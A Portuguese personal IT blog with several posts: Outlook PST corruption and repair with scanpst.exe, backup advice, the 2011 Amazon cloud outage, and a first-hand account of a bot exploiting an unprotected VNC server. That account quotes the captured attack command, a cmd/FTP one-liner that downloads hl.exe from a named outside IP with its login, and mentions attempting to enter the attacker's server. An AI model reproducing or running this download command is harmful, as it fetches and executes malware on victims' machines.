Outlook - Dicas prevenir e corrigir uma corrupção!

Olá a todos!

Outlook é um cliente de e-mail, agenda, contatos e algumas coisas a mais.
Muito utilizado na verdade apenas como cliente de e-mail, até o contatos é renegado a segundo plano.

Faz parte do Office da Microsoft é de longe o mais utilizado pacote de suite de escritório. Tanto que já me perguntaram onde fazer download para o Ipad, isto até o momento não existe.

Mas o Outlook sofre de um problema cronico de espaço do próprio banco de  dados, tem um limite de 2GB, e o principal consumidor são os anexos de e-mail.
È sua principal ruína, pois quando se aproxima deste tamanho é sinal de corrupção.

Prevenção
Então para se prevenir contra a perda de informações o melhor é o backup.

Leia também:

• Backup em termos gerais
• Backup um caso com sucesso!

O arquivo principal do Outlook é o outlook.pst. Os arquivos com a extensão ".pst" são os bancos de dados. O que fica normalmente fora do ".pst" são a assinatura e a configuração da conta de e-mail. O mais prático é o backup da pasta inteira, localizado dentro da pasta Documents and settings\usuário ativo\dados de aplicativos\Microsoft\Outlook. Uma pasta que pode ser considerada é da assinatura a "signarute", caso tenha criado.
No windows XP ficaria assim:

local e arquivos padrão

Outros recursos presentes ao próprio Outlook que devem ser usados:

• Compressão  interna do Outlook, isto melhora a velocidade do aplicativo e aumenta o tempo de vida. Clique na pasta particular, vá em propriedades, tamanho e use comprimir. Este recurso pode ser aplicado a cada subitem como contatos ou itens enviados. Mas o melhor mesmo é da pasta particular.
• Arquivo morto é um recurso que cria um ".pst" auxiliar pra prevenir erros,mas também sofre o limite de 2GB. o arquivo crido tem o nome de "arquivo morto.pst"
• Lixeira sempre limpa, e-mail importante deve ser arquivado em outra subcaixa.
• SPAM sempre apagados, não é boa ideia mantê-los, pois podem portar algum tipo de código malicioso.
• Crie subcaixas de entradas e classifique seus e-mails, a organização facilita a recuperação. Aqui pode ser criado outro arquivos ".pst" para prolongar e aumentar a segurança.
• Mova o outlook.pst para um local fácil de encontrar, pois assim fica melhor para fazer o backup.

Não finalize a força o programa, pois ai você esta criando a corrupção. Dica séria evite o uso do word para editar/criar seus e-mails.

Sobre o arquivo morto, minha experiência mostra que pode ser confuso aos usuários, pois fica fora do painel principal. O melhor é criar mais arquivos '".pst"
e torná-los subcaixas de entrada, usando o recursos de filtro do Outlook pode direcionar o e-mail direto nesta pasta. Assim desligo o recurso de arquivo morto.

Correção

Para correção temos um programa chamado "scanpst.exe". Este é sempre chamado quando o próprio Outlook sente que foi finalizado a força.
Mas quando surge a mensagem:

Gerado por:

• e-mails corrompidos;
• Atingindo valores de tamanho próximo aos 2GB;
• Vírus;

Antes devemos simplesmente criar uma cópia do arquivo outlook.pst no mesmo local de preferência. Agora execute o "scanpst.exe" e siga o passos que ele pedir. Este fica na pasta Arquivos de programas\arquivos comuns\system\Mapi\1046.

local do scanpst.exe

Lembrando que é apagado o item que tiver corrompido.
Terminado com sucesso é fechar o programa e iniciar o Outlook.
Sem sucesso, recupere o backup abra o corrompido e copie manualmente a diferença de e-mails e contatos.

Veja também:

• Outlook não deixa apagar qualquer e-mail!

Até a próxima!

Um Bot entrou em minha vida!

Olá a todos!

Estou compartilhando minha  experiência infeliz de ser invadido por um bot!

O bot se refere a uma única máquina zumbi com  programas adequados instalados. Normalmente faz parte de algo maior como uma rede deles conhecido como botsnets. Executa uma tarefa repetitiva, tipo explorar uma falha de segurança.

Esse foi meu caso, bateu uma preguiça e deixei o vnc sem senha e na porta padrão.

Isto é um pecado capital, sou conhecido por complicar as coisas. Na empresa que trabalho tem poucas estações e todas tem o vnc pra suporte , mas com senhas diferentes e portas bem diferentes a do padrão. Sem suporte a servidor web!!!!
Imagine que na minha própria máquina fiz tamanha besteira!

Mas foi interessante, pois não causou nenhum mal. O bot estava preparado pra uma máquina windows, uso linux. Foi muiiiito rápido.
Estava eu no terminal criando um script quando repentinamente correu minha tela.
Automaticamento puxei o cabo de rede e fui verificar. Encontrei o seguinte no terminal:

s7~
%systemroot%\system32\cmd.exe
cs7~: comando não encontrado
md /mauro@mauro-P4V8X-MX:~$ g
c ecg: comando não encontrado
mauro@mauro-P4V8X-MX:~$ %systemroot%\system32\cmd.exe
bash: fg: %systemroot%system32cmd.exe: trabalho não existe

cmd /c echo open 189.12.115.135 51884 >> ik &echo user up date >> ik &echo get hl.exe >> ik &echo bye >> ik &ftp -n -v :ik &
[2] 21713
[3] 21714
[4] 21715
[5] 21716
[6] 21717
mauro@mauro-P4V8X-MX:~$ ftp: :ik: Name or service not knownexit
Existem trabalhos parados.
[3]   Concluído              echo user up date >> ik
[4]   Concluído              echo get hl.exe >> ik
[5]   Concluído              echo bye >> ik

E os arquivos de apoio também, o ik, hl.exe e o cmd.exe.

bye
get hl.exe
user up date

Consultando rapidamente a net, é de fato um ataque padrão que pega pela distração.
Tentei aproveitar e entrar no ftp do larápio, mas não consegui!

A senha e o login fornecidos não mais funcionavam.

• Servidor de ftp: 189.12.115.135:51884
• Login senha: user up

Mas o servidor ftp é do tipo windows. Dito pelo nmap.
Não soube o que mais ele queria.
Já tratei vários com este problema, mas nunca presenciei um pessoalmente.

Lembrete:

• Se usar algo que peça senha, ponha uma senha.
• Faça backup, depois de uma dessas, só senti segurança após reinstalar.

Boa sorte
fonte:
Pesquise por "cmd /c echo open"

Backup - O caso amazon.com

Olá a todos,

Estou aqui pra comentar sobre o caso amazon.com.
Cujo o meu conhecimento seria de apenas uma gigantesca loja virtual, começou a diversificar os serviços atuando também como provedor.
Tinha uma estrutura de nuvem muito bem estabelecida. Mas por algum motivo que só venhamos a saber daqui no futuro, o sistema de backup em múltiplos disco e servidores começou a se auto-replicar de maneira frenética, fez com que o espaço em disco esgotasse.

Bem pra empresas que estavam associadas, o sistema era praticamente imune a erros e seus sistemas de backup ficaram a cargo da própria amazon.
Até ai nada de errado! Só que como comentei nos meus artigos abaixo é bom sempre ter mais de uma cópia de preferência uma delas longe do local de trabalho.

Pobres clientes amazon, aqueles que receberam a noticia de nada foi recuperado, em quanto tempo será que vão se recuperar. Já vi empresas falirem por falta de backup atualizado, imaginem um que nem tem!

O Sistema de nuvens(cloud computer) ainda assim continua sua peregrinação ao sucesso. Como todos os sistemsa de alta disponibilidade sua porcentagem era de 99,9999999(isto é um chute).
Infelizmente testemunhamos os 0,0000001!!!!!

Abaixo um reforço:

Ter mais de uma cópia sendo uma delas longe do local de trabalho.
Nunca confie em um pendriver.

Boa sorte!
fonte:

1. http://oglobo.globo.com/tecnologia/mat/2011/04/29/amazon-recompensa-clientes-com-dez-dias-gratis-apos-falha-na-nuvem-924347414.asp
2. http://oglobo.globo.com/tecnologia/mat/2011/04/22/colapso-nuvem-da-amazon-falhou-924302518.asp

Backup um caso com sucesso!

Olá a todos que dão aquela passadinha! ;)


Hoje lendo meus rss, vi um caso prático em duplo sentido.

1. Um usuário que apesar de ter um conhecimento consistente, não fez o dever de casa.
2. E um negócio sendo salvo pelo backup!

Backup guardado por antigo data center traz Migre.me de volta à ativa

Bem clique na história acima e veja em detalhes, mas estou aqui pra teclar.


Veja se este empresário tivesse uma política consistente de backup não precisaria fornecer um marketing grátis pro seu ex-provedor.


Para complementar a idéia é: nunca deixe seu maior valor na mão de outros.
Backup precisa se verificado, ser de fácil recuperação, ser em duplicata no mínimo e um deles estar longe do local de origem.


Continuo a lembra que empresas são roubadas e vi algumas indo a falência.
E digo mais! Foi bem lentamente, os funcionários sempre se esforçavam ao máximo, mas memória tem limites.


Um do conselhos é utilizar algum tipo de armazenamento on-line, mas nunca deixe como sua unica fonte de recuperação.


Mídias de CD sempre são boas pedidas!


No caso da migre.me se o novo provedor tivesse no mínimo um sistema de backup básico da primeira transferência seria recuperada e o transtorno não se tornaria caso de falência.
Não tenho idéia do tamanho do negócio deste, mas ter um serviço especializado seria algo pra ser seriamente contratado.


Muitos negócios on-line, aqueles sites de loja on-line não costuma ocupar um miserio 1GB de espaço. Menos que um DVD-R, pense sempre é bom ter por perto!
Há o banco de dados de seu site sempre backup do mais rigoroso!


Então com o caso acima temos:

• Pense em backups com no mínimo duplicados;
• Veja se novo prestador de serviço oferece em caso de pane;
• Nunca confie nele, tome sua própria providência;

Bom backup!

Backup em termos gerais

Olá!

Após alguns meses sem escrever vamos lá!

Será bem genérico este primeiro artigo.

Backup um item esquecido por milhões de cidadãos no mundo todo!

Na maioria da vezes quando fez, foi no sem querer.

Mas devemos tomar cuidado com nossas informações, pois a somente a nós nos interessa.

Nunca confie em hard-disk ou pendriver. As mídia as mais confiáveis são aquelas menos dinâmicas como um CD, DVD ou no casos extremos unidades de fita. Digo algo sobre pendriver, queimou não perca tempo procurando conserto. Os Hard-disk ainda tem esperança desde que não sejam do tipo SSD.

A frequência mais sugerida pra backup é sempre e a todo instante, mas isso sai caro demais e demanda talvez uma quantidade de espaço absurdo. Deve ser ponderado com o valor de prejuízo com a frequência/periodicidade.

Já vi empresas irem a falência após o roubo de seus equipamento e de seus backup que geralmente ficam no próprio local. E aquelas que em algum momento o fizeram e não estava no local do roubo, mas estava longe da realidade. A melhor coisa para seu backup é sempre manter distante do local de origem.

Hoje novamente a onda de salvar arquivos na rede de serviço de internet. Pode ter apenas o espaço em discos ou então um serviço altamente profissional com garantia de recuperação. A programas que adaptam sua conta de e-mail pra fazer as vezes de um hard-disk facilitando inúmeros programas.

A questão de programas, existem diversos mas geram um dos dois tipos de resultado:

• arquivo único;
• sincroniza diretórios;

Alguns melhores os dois tipos!

Se tiver em sua empresa e tiver um servidor de arquivos prefira em primeiro o que sincroniza com diretórios e depois no servidor o que cria o arquivo único.

Do arquivo único utilize os tipos de arquivos que possa ser abertos por qualquer programa fora do sistema e da plataforma. Sugestão é o velho e bom zip.

Vamos a um resumo abaixo:

1. Mídias removíveis do tipo CD;
2. Arquivo único o formato zip é uma boa;
3. Sincronize com algum servidor na internet.
4. Faça com a maior frequência;
5. Redundante com a menor periodicidade;
6. Mantenha o mais longe possível do local de origem;

Bom Backup!